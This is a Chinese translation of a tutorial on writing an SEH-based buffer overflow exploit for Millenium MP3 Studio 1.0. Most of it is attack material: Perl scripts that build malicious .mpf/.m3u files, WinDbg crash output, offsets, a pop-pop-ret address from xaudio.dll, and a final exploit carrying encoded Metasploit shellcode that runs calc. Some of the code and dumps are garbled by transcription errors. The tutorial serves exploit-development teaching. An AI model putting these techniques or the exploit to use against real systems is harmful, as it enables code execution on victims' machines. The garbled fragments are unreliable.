Exploit 编写教程第三篇 b: 基于 SEH 的 Exploit-又一个实例

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在上一篇教程中,我已经讲述了基于 SEH 的 Exploit。我提到在最简单的基于 SEH exploit 的情形中,payload 的构造如下所示:

[Junk] [next SEH] [SEH] [Shellcode]

我已经展示了用指向pop pop ret指令串的指针覆盖SE Hanler域和用跳过6 bytes的jumpcode覆盖next SEH域来跳过SE Handler...当然,这样的构造是基于多数SEH based 漏洞的特征以及存在于Easy RMto MP3 Player(这里作者笔误,应该是上一篇中的soritong MP3 Player)上漏洞的特殊性。因此它只是一个基于SEH类型漏洞下的例子。你确实需要用断点等来查看所有寄存器,去找到你payload/shellcode所在的位置...根据栈来构造你的payload...只要想到!

有时候你会很幸运,轻松加愉快的就写出了payload。有时候你会很不走运,但你依然可以在有难度的漏洞利用中写出跨平台的稳定Exploit。有时候你必须要硬编码一个地址,因为没有其他可行方法了。无论是那种方法,大多数的Exploit都不尽相同。在特殊的漏洞利用中为了找到有效的方法都得手工去完成。

在今天的教程中,我们用Millenium MP3 Studio 1.0上挖掘出来的漏洞来编写基于它的Exploit。这个漏洞发布于: http://www.milw0rm.com/exploits/9277.

你可以在这里下载Millenium MP3 Studio:

从POC中可以看出这个漏洞是容易被利用的(很可能是基于寄存器的值)...可惜的是它并没有如作者(发现这个漏洞和写出POC代码的人)所希望的那样进行利用。

```
#!/usr/bin/perl
# Found By :: HACK4LOVE
# MP3 Studio v 1.0 (.mpf /.m3u File) Local Stack Overflow PoC
##http://www.software112.com/products/mp3-millennium+download.html
##Thanks for Skull-HackeR ####and all WwW.Sec-ArT.CoM/cc team
##EAX 00000000
##ECX 41414141
##EDX 7C9037D8 ntd11.7C9037D8
##EBX 00000000
##ESP 00134970
##EBP 00134990
##ESI 00000000
##EDI 00000000
##ETP 41414141
## it so easy exploit but it did not work for me i hope some one exploit it######
my $crash="http://"."\x41" x 5000;
open(myfile,'>>hack4love.m3u');
print myfile Scrash:
# milw0rm.com [2009-07-27]
```

如"Hack4love"贴图中的那样是基于寄存器的值,因此我们可以认为这是一个典型的栈溢

出,其中 EIP 被缓冲区的垃圾数据覆盖...你还需要找到缓冲区的偏移,找到一个寄存器指向你的 payload,用"jump to..."地址覆盖 EIP,是这样吗?额....不完全正确。

我们来看下。创建一个用"http://"+5000 A'填充的文件...当你用 windbg 运行程序并打开这个文件,你看到了什么?我们先来创建一个 mpf 文件:

```
my $sploitfile="c0d3r.mpf";
my $junk = "http://";
$junk=$junk."A"x5000;
my $payload=$junk;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";
```

接着用 windbg 运行程序并打开这个文件:

```
First chance exceptions are reported before any exception handling. This exception may be expected and handled.
eax=0012f9b8 ebx=0012f9b8 ecx=00000000 edx=41414141 esi=0012e990 edi=00faa68c eip=00403734 esp=0012e97c ebp=0012f9c0 iopl=0
nv up ei pl nz na pe nccs=001b ss=0023 ds=0023 fs=003b qs=0000 efl=00010206*** WARNING: Unable to verify checksum for image 00400000*** ERROR: Module load completed but symbols could not be loaded for image 00400000image00400000+0x3734:00403734 8b4af8 mov ecx,dword ptr [edx-8] ds:0023:41414139=???????
```

不错,非法访问…但是各寄存器中的值和上面 POC 中贴出的寄存器值大不一样。所以缓冲区的长度也是错误的(引发一个典型覆盖 EIP 的栈溢出),或者这是个基于 SEH 的问题。看下 SEH 链发现:

0:000> !exchain0012f9a0:

<Unloaded_ud.drv>+41414140 (41414141)

Invalid exception stack at 41414141

啊,好。Next SEH 和 SE Handler 两个都被覆盖,因此这是个基于 SEH 的 Exploit 了。

为了了找出next SEH和SE Handler的偏移,我们用metasploit pattern构造另一个含5000个字符的文件:

现在SEH 链如下所示:

0:000> !exchain0012f9a0:

<Unloaded ud.drv>+30684638 (30684639)

Invalid exception stack at 67463867

所以SE Handler被0x39466830 (记住: 小端字节序) 覆盖, next SEH被0x67384667覆

- SE Handler: 0x39466830 = 9Fh0 (偏移为 4109)
- next SEH: 0x67384667 = g8Fg (偏移为 4105)

现在,在一个典型的SEH Exploit情形下,你要编写的payload如下所示:

- -先是4105个垃圾字符(去掉讨厌的字符如http:后面的两个的反斜杠用A替代)
- -用jumpcode(0xeb,0x06,0x90,0x90)覆盖next SEH,跳过SE Handler到shellcode开始的地方--用指向pop pop ret指令串的地址覆盖SE Handler
- -接着放上你的shellcode(两头加一些NOP是必要的),如果需要在附加上其他的数据

我们先在perl脚本中依然用特别的内容来验证关键域的偏移量:

```
my $totalsize=5005;
mv $sploitfile="c0d3r.mpf";
mv $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="BBBB";
```

```
my $seh="CCCC";
my $shellcode="D"x($totalsize-length($junk.$nseh.$seh));
my $payload=$junk.$nseh.$seh.$shellcode;
print " [+] Writing exploit file $sploitfile\n";
open (mvfile,">$sploitfile");
print myfile $payload;
close (myfile);
print " [+] File written\n";
print " [+] " . length($p.
print "
                      . length($payload)."
Crash:
(ac0.ec0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling. This exception may be expected and handled.
eax=0012fba4 ebx=0012fba4 ecx=00000000 edx=44444444 esi=0012eb7c edi=00fb1c84
eip=00403734 esp=0012eb68 ebp=0012fbac iop1=0 nv up ei pl nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00010206*** WARNING: Unable to verify checksum for image
                ERROR:
00400000***
                           Module load completed but symbols could not be loaded for
image00400000image
00400000+0x3734:00403734 8b4af8 mov ecx,dword ptr [edx-8]
ds:0023:4444443c=????????
Missing image name, possible paged-out or corrupt data.0:000>
!exchain0012fb8c:
<Unloaded ud.drv>+43434342 (43434343)
Invalid exception stack at 42424242
我们看到SE Handler被43434343(CCCC)覆盖,next SEH被424242(BBBB)覆盖。现在
替换SE Handler为指向pop pop ret的指针和Next SEH替换为断点(还不是jumpcode,我们只
```

是想定位payload)

查看已加载的模块列表并从某一模块找到pop pop ret指令串(你可以先用Ollydbg的插件 "SafeSEH"查看这些模块是否是用safeSEH编译的)

xaudio.dll这个程序自带的DLL中有pop pop ret指令串,位于地址0x1002083D处:

```
III这个程序自带的DLL\Tapop pop recome,
my $totalsize=5005;
my $sploitfile="cod3r.mpf";
my $iunk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xcc\xcc\xcc\xcc"; #breakpoint, sploit should stop here
my $seh=pack('V',0x1002083D);
my $shellcode="D"x($totalsize-length($junk.$nseh.$seh));
my $payload=$junk.$nseh.$seh.$shellcode;#
print " [+] Writing exploit file $sploitfile\n";
  print " [+] Writing exploit f.
open (myfile,">$sploitfile");
print myfile $payload;
 close (myfile);
print " [+] File written\n";
   print " [+] " . length($payload)." bytes\n";
```

在第一次非法访问时,我们把异常传给程序处理。然后pop pop ret将被执行并在"Next SEH "处被我们的置的断点处中断。

现在我们的Payload在哪里呢?它应该是在很多字母D出现的地方....但也可以是字母A出现 的地方(在缓冲区开始的位置-让我们找出它)

如果payload位于SE Handler后,(程序在我们置的断点处中断),那么EIP就应该指向Next SEH 域的第一个字节,我们dump一下EIP就应该出来next SEH,接着SE Hanlder,跟着的就是我 们的shellcode的视图了:

```
0:000> d eip
0012f9a0 cc c
               3d 08 02
                     10-44 44 44 44 44 44 44 44
0012f9b0 44 44 44 44 44 44 0012f9c0 44 44 44 44 44 44
                   0012f9d0
      44 44 44
            44
               44
                 44
                   0012f9e0
      44 44 44
            44
               44
                 44
                   44 \quad 44 - 44
                         44
                           44 44 44 44 44 DDDDDDDDDDDDDDDD
0012f9f0
                         44 44 44 44 44 44 DDDDDDDDDDDDDDDDD
      44 44 44
            44
               44
                 44
                   44 44-44
           44
             44
                                      44
                                         DDDDDDDDDDDDDDDD
好的,看起来是成功了,然而我们看到大约在32 bytes后出现了一些NULL bytes(已用蓝色
```

标出)...

有两个解决办法:一是用next SEH域中的4 bytes代码跳过SE Handler,接着用16 bytes跳过

```
NULL Bytes,二是直接在next SEH中跳到shellcode。
 首先,让我们确定shellcode的起点(通过用一些容易辨别的数据代替开始的一部分字母D)
首先,让我们确定shellcode的起点(通过用一些容易辨别的数据代替开始的一部分字母D)
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xcc\xcc\xcc\xcc";
my $seh=pack('V',0x1002083D);
my $shellcode="A123456789B123456789C123456789D123456789";
my $junk2 = "D" x ($totalsize-length($junk.$nseh.$seh.$shellcode));
my $payload=$junk.$nseh.$seh.$shellcode.$junk2;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload; close (myfile);
print " [+] File written\n";
print " [+] File written\n";
print " [+] File written\n";
print " [+] Break instruction exception - code 80000003 (first chance)
eax=000000000 ebx=0012e694 ecx=1002083d edx=7c9032bc esi=7c9032a8 edi=000000000
eip=0012f9a0 esp=0012e5b8 ebp=0012e5cc iopl=0
eip=0012f9a0 esp=0012e5b8 ebp=0012e5cc iopl=0

nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000

efl=00000246<Unloaded ud.drv>+0x12f99f:
0012f9a0 cc int 3
001219a0 cc deip

0012f9a0 cc cc cc 3d 08 02 10-41 31 32 33 34 35 36 37 ...=...A1234567

0012f9b0 38 39 42 31 32 33 34 35-00 00 00 00 43 31 32 33 89B12345....C123

0012f9c0 34 35 36 37 38 39 44 31-32 33 34 35 36 37 38 39 456789D123456789
 OK, 我们想要跳过这个NULL的话,可以在shellcode的开头加4个nop(我们可以把真正的
 shellcode放到0012f9c0处....所以在shellcode前面总共需放上24个nop),那么需要跳过30 bytes
  (在next SEH域中: 0xeb,0x1e), 我们这样来做:
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
打开这个mpf文件,把异常传给程序,会在0x0012f9c0处被中断: (1a4.9d4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling.
 This exception may be expected and handled.
eax=0012f9b8 ebx=0012f9b8 ecx=00000000 edx=90909090 esi=0012e990 edi=00fabf9c
eip=00403734 esp=0012e97c ebp=0012f9c0 iopl=0
 ov up ei ng nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286*** WARNING: Unable to verify checksum for image 00400000*** ERROR: Module load completed but symbols could not be loaded for
 image
 00400000image00400000+0x3734:
 00403734 8b4af8 mov ecx, dword ptr [edx-8] ds:0023:90909088=????????
 Missing image name, possible paged-out or corrupt data.
 (1a4.9d4): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=0012e694 ecx=1002083d edx=7c9032bc esi=7c9032a8 edi=00000000
eip=0012f9c0 esp=0012e5b8 ebp=0012e5cc iopl=0
nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000246<Unloaded_ud.drv>+0x12f9bf:
 0012f9c0 cc int 3
OK, 现在把断点替换成真正的shellcode来最终完成这个脚本:
 # [+] Vulnerability : .mpf File Local Stack Overflow Exploit (SEH) #2
# [+] Product : Millenium MP3 Studio
# [+] Versions affected : v1.0
         Download :
 http://www.software112.com/products/mp3-millennium+download.html
 # [+] Method : seh
# [+] Tested on : Windows XP SP3 En
# [+] Written by : corelanc0d3r (corelanc0d3r[at]gmail[dot]com
# [+] Greetz to : Saumil & SK
```

```
Based on PoC/findings by HACK4LOVE ( http://milw0rm.com/exploits/9277
            ______
   MMMMM~
   C MMMMM
   8 MMMMMM
                  # MMMMM==7III~MMMMM=MMMMM=MMMMM$.8MMMMMZ$$$$$~MMMMM?..MMMMMMMMI.MMMMMHMMMM1:
eip hunters
  ______
  Script provided for educational purposes only.
#
my $totalsize=5005;
my $sploitfile="c0d3r.m3u";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xeb\x1e\x90\x90"; #jump 30 bytes
my $seh=pack('V',0x1002083D); #pop pop ret from xaudio.dll
my $nops = "\x90" x 24;
# windows(exec. = 203 bytes
  y $nops = "\x90" x 24;
windows/exec - 303 bytes
  http://www.metasploit.com
  Encoder: x86/alpha upper
# Encoder: x86/alpha upper
# EXITFUNC=seh, CMD=calc
my $shellcode="\x89\xe6\xda\xdb\xd9\x76\xf4\x58\x50\x59\x49\x49\x49".
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56".
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41".
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42".
"\x30\x42\x42\x42\x58\x50\x38\x41\x43\x4a\x44\x40\x4b\x51\x55\x47".
"\x58\x50\x44\x45\x50\x43\x30\x46\x45\x51\x45\x51\x47".
"\x58\x50\x44\x45\x50\x43\x30\x43\x30\x4c\x4b\x51\x55\x47\"
"\x4c\x4c\x4b\x43\x4c\x45\x55\x43\x34\x46\x45\x51\x4a\x4f\x4c\"
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x46\x45\x51\x4a\x4f\x4c\"
"\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x45\x51\x4a\x4e\x50\"
"\x31\x49\x50\x4d\x49\x50\x4d\x49\x50\x42\x54\x43\"
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4b\"
"\x44\x47\x4b\x51\x44\x47\x54\x45\x54\x42\x55\x4c\"
"\x4b\x51\x4f\x46\x44\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44\"
"\x4b\x51\x4f\x46\x44\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44\"
"\x48\x4a\x50\x4c\x4a\x44\x51\x4f\x42\x48\x4a\x38\x4b".
"\x4e\x4d\x5a\x44\x41\x41\x41\x42\x48\x4a\x38\x4b".
"\x4e\x4d\x5a\x44\x41\x41\x41\x41\x42\x48\x43\x45".
"\x31\x42\x4c\x45\x33\x45\x50\x41\x41";
my $junk2 = "D" x ($totalsize-length($junk.$nseh.$seh.$nops.$shellcode));
my $payload=$junk.$nseh.$seh.$nops.$shellcode.$junk2;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;
close (myfile);
print " [+] Fil
             [+] File written\n";
print " [+]
                        " . length($payload)." bytes\n";
哦也!(把这个放到 milw0rm 上面◎): http://www.milw0rm.com/exploits/9298
```

你可以在这里找到我放到milw0rm网站上的全部exploit的列表:

http://www.milw0rm.com/author/2052

练习

现在我给你留一个小练习: 试着写一个m3u文件类型的可用Exploit,看下你能找到一个覆盖EIP(而不是SEH)的方法吗?

提示: shellcode不是必须要放到nSEH/SEH后...还可以把它放到payload缓冲区的第一部分,而且有时候你还得:

- --在一小块缓冲区写进一些jumpcode,它跳到你真正的shellcode。
- --硬编码一个地址(如果没其他办法了)

M3u文件下的基于SEH的Exploit几乎和mpf版本是一样的,所以我不在这里讨论这个了。如果你想就这个练习进行讨论,登陆/注册下面的论坛:

http://www.corelan.be:8800/index.php/forum/writing-exploits/

(我可能就会在几天后把解决办法贴到这个论坛上面了)请继续关注更多信息: Exploit编写中的tips&tricks......

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